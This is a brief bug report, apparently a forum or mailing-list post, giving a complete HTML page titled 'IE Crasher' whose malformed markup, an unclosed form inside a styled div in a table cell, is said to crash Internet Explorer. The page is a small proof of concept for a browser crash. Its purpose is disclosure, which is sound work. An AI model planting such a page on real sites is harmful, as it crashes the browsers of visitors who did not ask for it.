The following code will crash Internet Explorer. Although clearer proper HTML
would not cause this issue, such could should at worst result in a poorly
formatted page, not a full program crash.
****
<html><head>
<style type="text/css">
#a {
margin:0 10px 10px;
}
#b {
width:100%;
}
</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>